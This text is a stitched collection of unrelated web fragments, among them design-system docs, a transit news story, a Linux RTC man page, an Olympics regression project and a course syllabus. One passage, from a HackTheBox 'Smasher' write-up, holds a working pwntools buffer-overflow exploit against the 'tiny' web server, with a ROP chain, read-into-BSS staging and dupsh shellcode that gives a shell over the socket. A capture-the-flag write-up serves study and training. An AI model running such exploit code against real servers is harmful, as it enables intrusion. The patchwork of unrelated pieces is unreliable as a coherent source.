--- title: Spacing id: spacing keywords: spacing sidebar: left-navigation-sidebar toc: false permalink: foundation/spacing.html folder: fundamentals summary: ---
Spacing helps content to breathe as well as create hierarchy and depth. It ensures optimal readability and space efficiency, all heights and widths are calculated from a base unit or 4.
All spacing is divisible by 4, the list below includes the most common spacing increments we use.
| Tiny 8px |
Small 16px |
Medium 32px |
Large 48px |
padding
SCSS Mixin: @include fd-space([$size)
| Helper class: .fd-has-padding-[size]
padding
using tiny
spacing option
padding
using small
spacing option
padding
using medium
spacing option
padding
using large
spacing option
margin
SCSS Mixin: @include fd-space([$size)
| Helper class: .fd-has-margin-[size]
margin
using tiny
spacing option
margin
using small
spacing option
margin
using medium
spacing option
margin
using
spacing option
For common content areas such as lists, tables, cards, or forms, there is a system of sections & panels that work together to create a consistent visual layout.
Panels are always contained inside a section and most commonly used when there are 2 panels side by side inside a section. Card grids, however, follow their own spacing system independent of sections or panels.


This plugin provides an API for taking pictures and for choosing images from the system's image library.


2019 Goals
- Transfer to the University of Washington
- Improve my artistic skills
- Learn how to use a sewing machine/sew in general so I can cosplay and look good probably with the help of photoshop
- Stop being a socially awkward potato
- Clear skin, even though we all know that ain't happening
- What even is love, God please answer before I turn 30
- To stay mentally sane
Also, check out one of my favorite artists (which was also my website analysis assignment website) at Jonas DeRo's Website ! His work is super cool and I aspire to be like him someday! :)


My name is Will Patera. I am a designer, coder, and entrepeneur. I am a co-founder of Pupil Labs. I am currently UTC+7. cv github pinboard email


Weekend service suspended on MBTA's Red Line amid repairs
by EndPlayBOSTON - Service on a stretch of the Boston area's busiest train line has suspended for four weekends as crews replace aging tracks.
In its second weekend of shutdowns, buses continue to replace service between the Kendall/MIT and Broadway stations.
The Massachusetts Bay Transportation Authority says Red Line service between the Broadway and Kendall/MIT stations will be replaced by shuttles beginning Nov. 15 through the weekend of Dec. 13.
"There is a lot of work getting done that is really important necessary work and we appreciate their patience with us," said the MBTA's General Manager Steve Poftak.
Due to one-way traffic patterns, shuttle service toward Alewife will not stop at Park Street and shuttle service toward Ashmont/Braintree will not stop at Downtown Crossing.
Crews are already performing repairs at the Park Street and Downtown Crossing stations and will replace 1,800 feet of 30-year-old track. It's part of an accelerated improvement plan that was launched after a pair of subway car derailments in June.
"It takes longer for you to get to the station because the buses have to take different routes that they're not used to," said Eli Pereyra, of East Boston.
Poftak says he believes the service diversions have been easier on riders since the MBTA invested on getting new signs, more T workers directing people and updating and posting information online.
MBTA officials say the weekend closures will help them finish repairs at Park Street four months earlier than planned, and at Downtown Crossing nearly a year earlier than planned.
The work comes in light of recent derailments along the MBTA's lines in an effort to renovate their signals and systems.
"It's working but I was there two hours later," said Pereyra. "I woke up super early because we needed to be here super early because we have a project."
According to Poftak, construction crews are working towards building a more reliable service.
"All I can do is hope that it's going to get better, at this point just kind of ride it out no alternative," said Lucas Santos, of Chelsea.
Next weekend, work on the Red Line will be put on hold for the busy holiday travel weekend before picking it up the following weekend. Work is expected to conclude on Dec. 15.
The Associated Press contributed to this report


Take a look at your patients
| Name | Birthdate | Gender | Problem? | Number of steps taken | |
|---|---|---|---|---|---|
| Jimmy Beans | 102 | Male | |||
| Hollie Frost | 77 | Female | |||
| Aimee O'Neill | 32 | Female | |||
| Sean Middleton | 45 | Male | |||
| Corey Bell | 84 | Male |
| Name | Birthdate | Gender | Problem? | Number of steps taken | |
|---|---|---|---|---|---|
| Jimmy Beans | 102 | Male | |||
| Hollie Frost | 77 | Female | |||
| Aimee O'Neill | 32 | Female | |||
| Sean Middleton | 45 | Male | |||
| Corey Bell | 84 | Male |


Predict the Parliament
Predict The Parliament
DIV
COM
FI
SOC
RDG
DVG
ECO
REG
REM
MDM
UDI
LR
DVD
FN
DLF
EXD


https://0xdf.gitlab.io/2018/11/24/htb-smasher-bof.html
Vulnerability
The vulnerability comes because parse_request will handle up to 1024 bytes of filename, and the url_decode function will, without checking bounds, copy that much, despite the fact that the http_request struct only allows for 512 bytes of filename.
So that means if I can write a filename longer than 0x2c8 - 0x90 = 0x238 = 568 bytes, when url_decode() writes to filename, it will overwrite rip, giving me control over the program.
Strategy
To gain execution, I need to be able to get the RIP register pointing to shellcode that I give it. In the early days of exploitation, that could be as simple as writing shellcode onto the stack (in my input) and then overwriting rip with that address. However, with ASLR (which is on enabled in this case), guessing that address becomes infeasible. So, I’ll use return oriented programming, or ROP. ROP is basically using the last instruction (or last few instructions) from various functions in the binary to achieve steps towards what I want to accomplish.
I am going to use the read function to read from the open socket, and save it to the BSS segment. I’ll need the address of read and BSS, and rop gadgets that will get the right arguments in place for those calls. Once I read shellcode into BSS, I’ll call it.
Initial Attempt
============================================================
Skeleton
I’ll build an exploit script with pwntools. Start with a skeleton:
#/usr/bin/env python
from pwn import *
# Set up context
elf = context.binary = ELF('./tiny', checksec=False)
HOST, PORT = "<IP_ADDRESS>", 1111
# Build Payload
junk = "A" * 568 # junk to get to ret addr
payload = ""
# rop will go here
# Request
req = r'GET {}'.format(payload)
# Send request
r.sendline(req)
r.sendline('')
r.interactive()
============================================================
Add Addresses
Add to the template code to get the BSS address and the address of read:
# Get addresses
BSS = elf.get_section_by_name(".bss")["sh_addr"]
log.info("BSS address: {}".format(BSS))
read = elf.plt.read
log.info("plt read address: {}".format(read))
See Gadgets section
Dup Shellcode
Next, I’ll use pwntools to generate shellcode to that will reuse the socket file descriptor for a sh that I can interact with. To use this function, I need the descriptor for the socket. I’ve noticed that when I run tiny locally, every time I make a request to it, it prints out the fd, and it’s consistently 4:
root@kali:~/hackthebox/smasher-<IP_ADDRESS># ./tiny 1111
listen on port 1111, fd is 3
accept request, fd is 4, pid is 2702
<IP_ADDRESS>:60506 200 - .
So I’ll add the following to my code, which will generate shellcode to run a shell over my current connection and send it over the socket:
r.sendline(asm(shellcraft.amd64.dupsh(4), arch="amd64"))
Now the exploit code looks like this:
============================================================
#/usr/bin/env python
from pwn import *
# Set up context
elf = context.binary = ELF('./tiny', checksec=False)
HOST, PORt = "<IP_ADDRESS>", 1111
# Get addresses
BSS = elf.get_section_by_name(".bss")["sh_addr"]
log.info("BSS address: {}".format(BSS))
read = elf.plt.read
log.info("plt read address: {}".format(read))
# Build Payload
junk = "A" * 568 # junk
payload = ""
payload += p64(0x4011dd) # pop rdi; ret
payload += p64(4) # socket descriptor
payload += p64(0x4011db) # pop rsi; pop r15; ret
payload += p64(BSS) # BSS, to go to rsi
payload += p64(BSS) # junk for r15
payload += p64(read) # read
payload += p64(BSS) # return to shellcode
# Request
req = r'GET {}'.format(junk + payload)
# Send request
r.sendline(req)
r.sendline('')
r.sendline(asm(shellcraft.amd64.dupsh(4), arch="amd64"))
r.interactive()
============================================================
Run It (and Fail)
Why Did That Fail?
The first 1024 bytes of input is read into buf, and then sscanf is used to pull the first two strings out of it, in a normal case, something like “GET” and “/”. But if I look at the payload I sent (with the initial “A”s truncated), it looks like:
...41414141dd114000000000000400000000000000db1140000000000060326000000000006032600000000000f00c4000000000006032600000000000
As soon as sscanf gets to that first null (00) byte, it stops.
Success
Fortunately, the last thing the code does before writing bytes into the structure I can overflow is to url decode them. So that’s how I can get these bytes to the right place. By encoding the bytes, they will be strings, and then decoded into binary form as I need it.
I’ll import quote from urllib in python.
Now the code looks like this:
============================================================
#/usr/bin/env python
from pwn import *
from urllib import quote as urlencode
# url encode
def url_encode(s):
return ''.join(["%%%02x" % ord(x) for x in s])
# Set up context
elf = context.binary = ELF('./tiny', checksec=False)
#HOST, PORT = "<IP_ADDRESS>", 1111
HOST, PORT = "<IP_ADDRESS>", 1111
# Get addresses
BSS = elf.get_section_by_name(".bss")["sh_addr"]
log.info("BSS address: {:02x}".format(BSS))
read = elf.plt.read
log.info("plt read address: {:02x}".format(read))
# Build Payload
junk = "A" * 568 # junk
payload = ''
payload += p64(0x4011dd) # pop rdi; ret
payload += p64(4) # socket descriptor
payload += p64(0x4011db) # pop rsi; pop r15; ret
payload += p64(BSS) # BSS, to go to rsi
payload += p64(BSS) # junk for r15
payload += p64(read) # read
payload += p64(BSS) # return to shellcode
log.info('payload: {}'.format(urlencode(junk + payload)))
req = r'GET {}'.format(urlencode(junk + payload))
# Send request
r = remote(HOST, PORT)
r.sendline(req)
r.sendline('')
r.recvuntil('File not found')
r.sendline(asm(shellcraft.amd64.dupsh(4), arch="amd64"))
r.interactive()
============================================================


Before Change
while iteration < max_iter:
if not (grad_norm > epsilon or iteration == 0):
break
centered_points = group.compose(group.inverse(mean), points)
logs = group.log_from_identity(point=centered_points)
tangent_mean = step * gs.einsum(
"n, nk...->k...", weights / sum_weights, logs)
mean_next = group.compose(
After Change
exp_bar : array-like, shape=[n,n]
The exponential_barycenter of the input points.
print(points.shape)
ndim = 2 if group.default_point_type == "vector" else 3
//if gs.ndim(gs.array(points)) < ndim or len(points) == 1:
// return points[0] if len(points) == 1 else points


#include <linux/rtc.h>
int ioctl(fd, RTC_request,
param);
This is the interface to drivers for real-time clocks (RTCs).
Most computers have one or more hardware clocks which record the
current "wall clock" time. These are called "Real Time
Clocks" (RTCs).  RTCs often provide
alarms and other interrupts.
All i386 PCs, and ACPI-based systems, have an RTC that is
compatible with the Motorola MC146818 chip on the original PC/AT. Today such
an RTC is usually integrated into the mainboard's chipset (south bridge),
and uses a replaceable coin-sized backup battery.
Non-PC systems, such as embedded systems built around
system-on-chip processors, use other implementations. They usually won't
offer the same functionality as the RTC from a PC/AT.
RTCs should not be confused with the system clock, which is a software clock
maintained by the kernel and used to implement gettimeofday(2) and
time(2), as well as setting timestamps on files, and so on. The system
clock reports seconds and microseconds since a start point, defined to be the
POSIX Epoch: 1970-01-01 00:00:00 +0000 (UTC). (One common implementation
counts timer interrupts, once per "jiffy", at a frequency of 100,
250, or 1000 Hz.) That is, it is supposed to report wall clock time, which
RTCs also do.
A key difference between an RTC and the system clock is that RTCs
run even when the system is in a low power state (including
"off"), and the system clock can't. Until it is initialized, the
system clock can only report time since system boot ... not since the POSIX
Epoch. So at boot time, and after resuming from a system low power state,
the system clock will often be set to the current wall clock time using an
RTC. Systems without an RTC need to set the system clock using another
clock, maybe across the network or by entering that data manually.
RTCs can be read and written with hwclock(8), or directly with the ioctl
requests listed below.
Besides tracking the date and time, many RTCs can also generate
interrupts
- on every clock update (i.e., once per second);
- at periodic intervals with a frequency that can be set to any power-of-2
multiple in the range 2 Hz to 8192 Hz;
- on reaching a previously specified alarm time.
Each of those interrupt sources can be enabled or disabled
separately. On many systems, the alarm interrupt can be configured as a
system wakeup event, which can resume the system from a low power state such
as Suspend-to-RAM (STR, called S3 in ACPI systems), Hibernation (called S4
in ACPI systems), or even "off" (called S5 in ACPI systems). On
some systems, the battery backed RTC can't issue interrupts, but another one
can.
The /dev/rtc (or /dev/rtc0, /dev/rtc1, etc.)
device can be opened only once (until it is closed) and it is read-only. On
read(2) and select(2) the calling process is blocked until the
next interrupt from that RTC is received. Following the interrupt, the
process can read a long integer, of which the least significant byte
contains a bit mask encoding the types of interrupt that occurred, while the
remaining 3 bytes contain the number of interrupts since the last
read(2).
The following ioctl(2) requests are defined on file descriptors connected
to RTC devices:
- RTC_RD_TIME
- Returns this RTC's time in the following structure:
-
struct rtc_time {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
int tm_wday; /* unused */
int tm_yday; /* unused */
int tm_isdst; /* unused */
};
- The fields in this structure have the same meaning and ranges as for the
tm structure described in gmtime(3). A pointer to this
structure should be passed as the third ioctl(2) argument.
- RTC_SET_TIME
- Sets this RTC's time to the time specified by the rtc_time
structure pointed to by the third ioctl(2) argument. To set the
RTC's time the process must be privileged (i.e., have the
CAP_SYS_TIME capability).
- RTC_ALM_READ, RTC_ALM_SET
- Read and set the alarm time, for RTCs that support alarms. The alarm
interrupt must be separately enabled or disabled using the
RTC_AIE_ON, RTC_AIE_OFF requests. The third ioctl(2)
argument is a pointer to an rtc_time structure. Only the
tm_sec, tm_min, and tm_hour fields of this structure
are used.
- RTC_IRQP_READ, RTC_IRQP_SET
- Read and set the frequency for periodic interrupts, for RTCs that support
periodic interrupts. The periodic interrupt must be separately enabled or
disabled using the RTC_PIE_ON, RTC_PIE_OFF requests. The
third ioctl(2) argument is an unsigned long * or an
unsigned long, respectively. The value is the frequency in
interrupts per second. The set of allowable frequencies is the multiples
of two in the range 2 to 8192. Only a privileged process (i.e., one having
the CAP_SYS_RESOURCE capability) can set frequencies above the
value specified in /proc/sys/dev/rtc/max-user-freq. (This file
contains the value 64 by default.)
- RTC_AIE_ON, RTC_AIE_OFF
- Enable or disable the alarm interrupt, for RTCs that support alarms. The
third ioctl(2) argument is ignored.
- RTC_UIE_ON, RTC_UIE_OFF
- Enable or disable the interrupt on every clock update, for RTCs that
support this once-per-second interrupt. The third ioctl(2) argument
is ignored.
- RTC_PIE_ON, RTC_PIE_OFF
- Enable or disable the periodic interrupt, for RTCs that support these
periodic interrupts. The third ioctl(2) argument is ignored. Only a
privileged process (i.e., one having the CAP_SYS_RESOURCE
capability) can enable the periodic interrupt if the frequency is
currently set above the value specified in
/proc/sys/dev/rtc/max-user-freq.
- RTC_EPOCH_READ, RTC_EPOCH_SET
- Many RTCs encode the year in an 8-bit register which is either interpreted
as an 8-bit binary number or as a BCD number. In both cases, the number is
interpreted relative to this RTC's Epoch. The RTC's Epoch is initialized
to 1900 on most systems but on Alpha and MIPS it might also be initialized
to 1952, 1980, or 2000, depending on the value of an RTC register for the
year. With some RTCs, these operations can be used to read or to set the
RTC's Epoch, respectively. The third ioctl(2) argument is an
unsigned long * or an unsigned long, respectively,
and the value returned (or assigned) is the Epoch. To set the RTC's Epoch
the process must be privileged (i.e., have the CAP_SYS_TIME
capability).
- RTC_WKALM_RD, RTC_WKALM_SET
- Some RTCs support a more powerful alarm interface, using these ioctls to
read or write the RTC's alarm time (respectively) with this
structure:
struct rtc_wkalrm {
unsigned char enabled;
unsigned char pending;
struct rtc_time time;
};
- The enabled flag is used to enable or disable the alarm interrupt,
or to read its current status; when using these calls, RTC_AIE_ON
and RTC_AIE_OFF are not used. The pending flag is used by
RTC_WKALM_RD to report a pending interrupt (so it's mostly useless
on Linux, except when talking to the RTC managed by EFI firmware). The
time field is as used with RTC_ALM_READ and
RTC_ALM_SET except that the tm_mday, tm_mon, and
tm_year fields are also valid. A pointer to this structure should
be passed as the third ioctl(2) argument.
- /dev/rtc, /dev/rtc0, /dev/rtc1, etc.
- RTC special character device files.
- /proc/driver/rtc
- status of the (first) RTC.
When the kernel's system time is synchronized with an external reference using
adjtimex(2) it will update a designated RTC periodically every 11
minutes. To do so, the kernel has to briefly turn off periodic interrupts;
this might affect programs using that RTC.
An RTC's Epoch has nothing to do with the POSIX Epoch which is
used only for the system clock.
If the year according to the RTC's Epoch and the year register is
less than 1970 it is assumed to be 100 years later, that is, between 2000
and 2069.
Some RTCs support "wildcard" values in alarm fields, to
support scenarios like periodic alarms at fifteen minutes after every hour,
or on the first day of each month. Such usage is nonportable; portable
user-space code expects only a single alarm interrupt, and will either
disable or reinitialize the alarm after receiving it.
Some RTCs support periodic interrupts with periods that are
multiples of a second rather than fractions of a second; multiple alarms;
programmable output clock signals; nonvolatile memory; and other hardware
capabilities that are not currently exposed by this API.
date(1), adjtimex(2), gettimeofday(2),
settimeofday(2), stime(2), time(2), gmtime(3),
time(7), hwclock(8)
Documentation/rtc.txt in the Linux kernel source tree
This page is part of release 5.05 of the Linux man-pages project. A
description of the project, information about reporting bugs, and the latest
version of this page, can be found at https://www.kernel.org/doc/man-pages/.


Github Link : Github
~ 15 min read Fall 2021
Summary
This project was done for the class Programming for Data Science (DS5100). In the github repository info
there are many componenets that were utilized for this project. The main componenets are broken down as such.
The project also had a presentation delieverable, which is showcased below. This video summarizes our fidings and learinngs at a high level.
Introduction
The purpose of this project is to examine the data from the 2021 Tokyo Olympics and see what factors contributed to the earning of medals for each country.
The group wanted to see if any external factors / information such as GDP or geographical location had an impact on earning medals at the Tokyo Olympics.
Data
The data utilized for this study / project was obtained from a variety of sources. Some data was scraped directly from the official olympics website or a GDP tracking website, while some other datasets were provided by Kaggle. The main reasoning behind some data being pulled or scrapped was the continuously changing official olympics website. Originally all data was available from the olympics website, however, after their redesign of the user interface, some information could not be pulled, which is why some external sources were used to fulfill the groups curiosity of different factors that may impact medal counts for each country.
There were four main resources to collect all the data for analysis. The first source was the official olympic website. Two main datasets were created from this datasource. The first dataset was the Olympic medal count for the 2021 Tokyo Olympics found at (https://olympics.com/en/olympic-games/tokyo-2020/medals). However, with the redesign of the Olympics website, the group was able to pull all the medal counts for summer olympics that took place after 1986.
The second resource was to collect the recent GDP of each country found at https://www.worldometers.info/gdp/gdp-by-country/, which was scrapped to get the most recent GDP for each country that participated in the Tokyo Olympics.
Although the second datasource had a relatively clean dataset to map the countries, the limitation of the source was providing only recent GDP data. Since the group was able to web scrape historical data from the Olympics website, the group needed another datasource that had the GDP for each country for the Olympics that occurred before 2021 and after 1986. For historical GDPs the group utilized the source https://countryeconomy.com/gdp . One limitation of this source was that although the majority of countries were found, countries being renamed was a hindrance to do a one to one mapping. For the missing entries the group placed null values since the sample with no one to one mapping to the source was relatively low.
The final source that was utilized was Kaggle. When the group originally pulled the data from the official olympics website, a breakdown of teams was provided, but with the redesign of the website that source was not available anymore. Therefore, the group decided to use a Kaggle dataset that provided a team breakdown for each country for the Tokyo 2021 Olympics because the Kaggle dataset had the information of the website before the website redesign.
Although many fields were parsed and pulled from various sources, the group also wanted to provide additional information to fortify their dataset such as geographical location of where each country was located. For this field the group utilized external python packages available through PIP, such as the pycountry / pycountry-convert packages to map each country to a continent. The group wanted to see if geographical region affected the medal counts for each country, which was the motivation of doing more data engineering for the datasource.
Exploratory Data Analaysis (EDA)
After all the data cleaning was completed, the group decided to conduct exploratory data analysis on the dataset with visualizations to understand the data better. First the group wanted to see the distributions for some of the columns in our dataset. In Figure 1, the group visualized the distribution of the continents for the data. We wanted to dive deep into how each continent was represented at the Tokyo Olympics.
After seeing the distribution of the continents, the next main column to visualize was the total medal count for each country. Figure 2 shows the distributions of medals earned by each country. As expected, the distribution was right skewed , which indicated that only a couple of countries had a high medal count and that the medals earned weren’t evenly distributed between the countries.
However, this visualization was only for total count and the group wanted to also visualize how each country's distribution of medals were. Figure 3 shows the distribution of medal count separated by the type of medal with the colors representing each medal type.
Although the visualization was great for initial understanding, the group wanted to narrow down the countries to see the top 10 performing countries for the Tokyo Olympics. The official olympics website sorts the top nations by how many gold medals were earned during the olympics. Therefore, the group selected the top 10 nations with the highest gold medal counts and visualized the distribution of medal types for those countries as shown in Figure 4.
With this initial analysis, the group wanted to see the initial motivation of investigating this dataset, which was the effect of GDP with the medals earned at the olympics. To visualize the relationship, a scatter plot was constructed between the two variables at question as shown in Figure 5.
The scatter plot shows a weak linear relationship between the GDP per capita and total medals won partially due to the lower GDP countries having a lower total medal count when compared to higher GDP countries, with a correlation of .2975. However, this can be explained by distribution of medal counts not being normally distributed. However, we could say that most nations that had a higher GDP generally performed better than the nations with lower GDPs in the 2021 Tokyo Olympics. Interestingly, the relationship between GDP and total medals won was much higher, with a correlation of .8362. However, it is possible that this correlation is heavily influenced by the two countries with GDPs over $1 trillion.
Another visualization the group wanted to showcase was the relationship between the continents and the medals earned. Figure 7 shows the distribution of total medals for each continent.
The group also averaged the medal counts for each continent to remove any potential outliers, which is shown in Figure 8 below.
In Figure 7 and 8, we were able to see that some continents seemed to perform better than others, mainly Europe, North America, Asia and Australia.
Model Building
From the initial exploratory data analysis, the group wanted to generate a model that could predict how many medals a country will earn based on the fields that were generated from the data pull. The group created a Multiple Linear Regression model to fit on the dataset. The model was fit with the following predictors: continent, number of teams, GDP, Population, GDP growth, GDP per capita. The full multiple regression model is shown by the table of coefficients in Figure 9.
From the given coefficient matrix, we can see that the main feature of GDP had a value of 0, which means that it did not have a big impact on the prediction of medals earned for a country when all the given predictors were used. However, further analysis needs to be done to say that GDP does not play a role. This could be because of multicollinearity within the predictors themselves. However, for this project the group determined that this investigation was out of scope of this project deliverable and would later investigate this issue.
From the initial creation of the model, the following statistics were generated.
R-Squared = 0.8479990568528668
MSE =<PHONE_NUMBER>919251
RMSE = 10.446970354697342
Time Series
After producing our multiple linear regression model for our Tokyo Olympic Data, our group wanted to visualize the greater olympic data pulled from the historical archive of the official olympics website. The group was able to divide each country into their respective continents and provide a time series analysis visuzaliations of medal counts for each continent along with its average. In the 6 x 4 matrix plot as shown in Figure 9, each row represents a continent while each column represents the type of medal earned with the order being total, gold, silver, and bronze.
Through this visualization we can quickly see how each continent is performing at the olympics throughout history. The biggest change that can be seen is the medal count for Australia, where the trend has almost always increased since the day records could be found. Although each row has different limits for the y-axis (medal count), we can see most continents have increased in their medal earnings throughout history, this can be attributed also to new events being included in the olympics. The y axis was not held constant for all continents due to the significant difference of medal earnings between the continents.
Unit Testing
The group wanted to make sure that all parts of the program ran the way we intended the program to run as well as have data quality checks to make sure that the data collected / scrapped weren’t bizarre. The group utilized pytest to run all the tests and had a passing rate of 100% and coverage of 100% for all methods except the main method, which was only used to call the methods of each class. All test files can be found in the tests directory, which maps to the src directory. Two custom classes were created to ease the data pull process, which were both thoroughly tested.
Project Management
The group was able to work in an agile way by delivering minimal viable products (MVP) through the project. The group took an iterative approach to complete each milestone of the project step by step so we don’t overcommit on an issue that the group does not identify as high priority.
Conclusion
To conclude, the ultimate goal of this project was to see what factors contributed to the earning medals for each country.
Data was pulled through webscraping from the Olympics website (Tokyo Olympics as well as all summer olympics dating back to 1986), a GDP tracker (Most recent GDP), a historical GDP tracker and finally a kaggle dataset (with teams breakdowns) that were added as features to see if any external factors or information had on impact on earning medals at the Tokyo Olympics. The features chosen to examine were GDP, geographic location (continents), discipline, Population, GDP growth and GDP per capita with the response variable being the medal count.
An exploratory data analysis (EDA) was conducted to see the distribution of some of our variables in univariate analysis which showed that only a couple of countries had a high medal count and that the medals earned weren’t evenly distributed between the countries. Following that, bivariate analysis was conducted in the form of a scatter plot and bar charts. The scatter plot showed a weak linear relationship between the GDP per capita and total medals won partially due to the lower GDP countries having a lower total medal count when compared to higher GDP countries while the bar charts showed that some continents performed better than others with low performances especially in African and South American countries.
From the initial exploratory data analysis, a Multiple linear Regression model was created to fit on the dataset with the goal of predicting how many medals a country will earn based on the fields that were generated from the data pull. The model was fit with the following predictors: continent, number of teams, GDP, Population, GDP growth, GDP per capita. From the given coefficient matrix, we can see that the main feature of GDP had a value of 0, which means that it did not have a big impact on the prediction of medals earned for a country when all the given predictors were used, it can be attributed to multicollinearity as continents performance and GDP are correlated.
The group then wanted to visualize the greater olympic data pulled from the historical archive of the official olympics website dividing each country into their respective continents and providing a time series analysis visuzaliations of medal counts for each continent along with its average. The biggest change that can be seen is the medal count for Australia, where the trend has almost always increased since the day records could be found we can see most continents have increased in their medal earnings throughout history
An MVP was delivered through the project using agile methodology.
The project paper is available for preview.
Preview Research Paper
Group Members: Reilly Meinert, Said Mrad, Sydney Masterson
| Title | Key Words | Date |
|---|---|---|
| Multiple Linear Regression and Logistic Regression on Insurance Charges in America | Fall 2021 | |
| Artificial Scheduling | Fall 2019 |


{% if name %}
Welcome, {{ name }}!
{% else %}
Welcome!
{% endif %}
{% endblock %}
{% block content %}
{% if alias %}
{% call text() %}
This is the first email you receive via your first alias{{ alias }}.
It is automatically created when you signed up on SimpleLogin.
{% endcall %}
{% call text() %}
This alias is for receiving our news, feature announcements or tips -
feel free to disable it if you don't need any of
these.
{% endcall %}
{% endif %}
{% call text() %}
You can reach out to us by:
{% endcall %}
{% if user.in_trial() and user.trial_end %}
{% call text() %}
When you signed up, you can use all premium features like custom domain, alias directory,
mailbox,
PGP without any limit during 7 days (the "trial period").
No worries: all aliases you create during this period
will continue to work normally even if you don't upgrade.
{% endcall %}
{% endif %}
{% call text() %}
Please don't hesitate to talk around you about the benefits of using email alias
to protect your personal email address and your privacy.
{% endcall %}
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Let's make spammers and Big Tech's life harder.
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{% endblock %}


Scenario
When a patient visits a hospital the doctor after diagnosing the patient's symptoms refer the patient to a specialist in another hospital or lab for test. On further investigation the specialist may remove a symptom if the test goes negative; hence those are removed from the PMD document.
Operation
XML data can also be modified using a stored procedure.
CREATE PROCEDURE
-- Creates procedure. It is permanently deployed to a database and can be call from an application.
It encapsulates the source code which actually does the operation. The code is stored as a compiled code with an execution plan..XMLTRANSFORM
-- Can be used to modify an XML document by inserting, replacing or deleting particular nodes.do delete
-- Deletes a node from a XML document.Solution
The symptoms which are no longer true for the patient is removed from the PMD document.


LAA Online Portal
Welcome to the Online Portal. Please click a link below to access the application you require.
If you experience any problems using the Online Portal, or would like to view guidance documents for the Online Portal applications, please click on the help link on this page.
Online Applications:
-
Contracted Work and Administration (CWA)
Submit Crime Lower, Legal Help Level 1 and 2 claims, Mediation Claims, New Matter Starts and manage your Online Users and Contacts
-
Claim for Housing Possession Court Duty
Submit claims for work carried out under the Housing Possession Court Duty Scheme (as 'EDuthie001').


Frequently Asked Questions¶
- Why isn’t the main manatee object called a DataFrame ?
- Mostly because you may want to have
DataFrame
imported from PySpark. Also because using objects named after large marine mammals is fun. - Why are some functions overloaded whilst others are new ?
- We try to ensure that any added functionality doesn’t override what you’re used to in PySpark DataFrames. Therefore, methods offering new functionality have new names. Names are chosen to feel something like pandas DataFrames. Any method with the same name as something that already exists in PySpark DataFrames are just redefined to return Manatee objects instead of PySpark DataFrames.
- What’s the difference between a dataframe and a DataFrame ?
- The dataframe is a fantastic data structure familiar to users of pandas or R. Both of these languages implement a dataframe object,
pandas.DataFrame
anddata.frame
respectively. PySpark implements one too :pyspark.sql.dataframe.DataFrame
. Manatee inherits from this object, and so provides all ofpyspark.sql.dataframe.DataFrame
‘s functionality, and more, as the objectmanatee.manatee.Manatee
. In the docs, this is referred to as a Manatee DataFrame. Whenever DataFrame is used, it refers to a specific object or implementation. When you see dataframe, it’s just talking about the generic data structure. - Are these questions really frequently asked ?
- No, I just wanted somewhere logical to explain a few things. If you have any questions, don’t hesitate to open a Github issue !


We are making crime maps of the city so that Houstonians are aware of what's happening in their surrounding neighborhoods. Houston is the 4th largest city in the U.S., and it has an incredible night life, food scene, and diversity. However, with its beautiful and grimy charm, it has it's pockets of crime.
City of Houston GIS Open Data Portal
City of Houston Active Incidents.
City of Houston Incident Updates & the Sheriff's Office Incident Dataset


FRIB-TA Summer School on Machine Learning in Nuclear Experiment and Theory
Matthew Hirn [1]
Morten Hjorth-Jensen [2]
Michelle Kuchera [3]
Raghuram Ramanujan [4]
[1] Department of Mathematics and Department of Computational Science, Mathematics and Engineering, Michigan State University, East Lansing, Michigan, USA
[2] Department of Physics and Astronomy and National Superconducting Cyclotron Laboratory, Michigan State University, East Lansing, Michigan, USA
[3] Physics Department, Davidson College, Davidson, North Carolina, USA
[4] Department of Mathematics and Computer Science, Davidson College, Davidson, North Carolina, USA
Introduction to Data Analysis and Machine Learning
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Regression Methods
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Logistic Regression
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Gradient Methods and Optimization
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Decision trees, from simple to random ones
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Support Vector Machines
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Neural Networks
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Convolutional Neural Networks
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Unsupervised Learning, Boltzmann Machines
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Bayesian Statistics and Bayesian Neural Networks
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Recurrent Neural Networks
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Autoencoders
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Reinforcement Learning
- LaTeX PDF:
- HTML:
- Jupyter notebook:
Python and Scikit Learn, a short guide
Practicalities
- Five lectures per day Monday through Wednesday, starting at 830am, see schedule below
- Hands-on sessions in the afternoons till 6pm
- The last day, Thursday, is dedicated to solving explicit problems with hands-on guidance and relevant examples.
Recommended textbook
General learning book on statistical analysis:
- Christian Robert and George Casella, Monte Carlo Statistical Methods, Springer
- Peter Hoff, A first course in Bayesian statistical models, Springer
- Trevor Hastie, Robert Tibshirani, Jerome H. Friedman, The Elements of Statistical Learning, Springer
General Machine Learning Books:
- Kevin Murphy, Machine Learning: A Probabilistic Perspective, MIT Press
- Christopher M. Bishop, Pattern Recognition and Machine Learning, Springer
- David J.C. MacKay, Information Theory, Inference, and Learning Algorithms, Cambridge University Press
- David Barber, Bayesian Reasoning and Machine Learning, Cambridge University Press
Schedule
Lectures are 50 min and there is a small break of 10 min between each lecture. Longer breaks at 1030am-11am and 3pm-330pm.
Acronyms for teachers
- MH = Matthew Hirn
- MHJ = Morten Hjorth-Jensen
- MK = Michelle Kuchera
- RR = Raghuram Ramanujan
Monday May 20, 2019: (breaks of 10 min for every lecture)
- 8am-830am: Welcome and registration
- 830am-930am: Introduction to Machine Learning and various Python packages (MHJ)
- 930am-1030am: Linear Regression (MHJ)
- 1030am-11am: Break, coffee, tea etc
- 11am-12pm: Logistic Regression (MHJ)
- 12pm-1pm: Lunch
- 1pm-2pm: Optimization of functions, gradient descent and stochastic gradient descent (MHJ)
- 2pm-3pm: Decision Trees and Random Forests (MHJ)
- 3pm-330pm: Break, coffee, tea etc
- 330pm-6pm: Hands-on sessions with selected Physics examples
Tuesday May 21, 2019:
- 830am-930am: Neural networks (MK and RR)
- 930am-1030am: Neural networks and deep learning (MK and RR)
- 1030am-11am: Break, coffee, tea etc
- 11am-12pm: Convolutional Neural Networks (CNNs) and examples from nuclear physics experiments (MK and RR)
- 12pm-1pm: Lunch
- 1pm-2pm: CNNs (MK and RR)
